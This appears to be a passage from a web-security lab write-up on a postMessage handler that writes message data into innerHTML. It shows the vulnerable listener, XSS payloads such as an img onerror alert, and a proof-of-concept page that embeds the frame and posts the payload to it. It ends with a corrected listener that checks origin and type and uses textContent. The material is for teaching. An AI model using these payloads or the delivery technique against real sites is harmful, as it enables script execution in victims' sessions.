sender (this page):
const v = document.getElementById('inp').value;
frame.contentWindow.postMessage({message: v}, '*');
receiver (frame.html):
window.addEventListener('message', e => {
if (e.data && e.data.message) {
document.getElementById('message').innerHTML = e.data.message; // ☠
}
});
<u>hello iFrame</u> → underline appears in the frame → the sink accepts and renders HTML, not text.<img src=x onerror=alert(1)> — a broken image, therefore an onerror, therefore the alert fires inside the frame's document. (Switch it to alert(document.domain) to see whose context you're executing in.)event.origin compare ⇒ messages from any page that manages to reach this window are welcome; no schema/allow-list on event.data.message ⇒ whatever strings arrive get parsed as HTML by innerHTML.iframe.contentWindow.postMessage(...), and churn payloads. The message path is functionally just a second input — one that security reviews often forget because it doesn't look like a URL or a form field.Classroom caveat: frame and parent share an origin here for convenience — the sink doesn't care; postMessage is the sanctioned cross-origin path and Lab 28 proved it delivers between different origins. The weaknesses live in the receiver, not the wire.
type into the box → <img src=x onerror=alert(1)>
…or the hosted version, to fire it like an attacker (any HTTPS page):
<iframe src="https://stuxnet.pro/pm/lab29/frame.html" id="f"></iframe>
<script>
const f = document.getElementById('f');
setTimeout(() => f.contentWindow.postMessage(
{message: '<img src=x onerror=alert(document.domain)>'}, '*'), 800);
</script>
The setTimeout is the practical lesson of every embed-and-post POC: the child frame finishes loading after your script — post too early and the listener isn't registered yet. Wait, then post. The alert now fires in the frame's document — on a real target that's their origin, their session, your code.
window.addEventListener('message', e => {
if (e.origin !== 'https://approved-sender.example') { return; } // ① who talks
if (typeof e.data?.message !== 'string') { return; } // ② what shape
el.textContent = e.data.message; // ③ text, not markup
});
Report line corroborates the fix: "message event consumer renders event.data into innerHTML without origin or content validation — cross-origin scripts execute in the frame's origin." And note the sink discipline you already know from the XSS set: textContent kills this even where the message path is legitimately needed.
Message → innerHTML
postMessage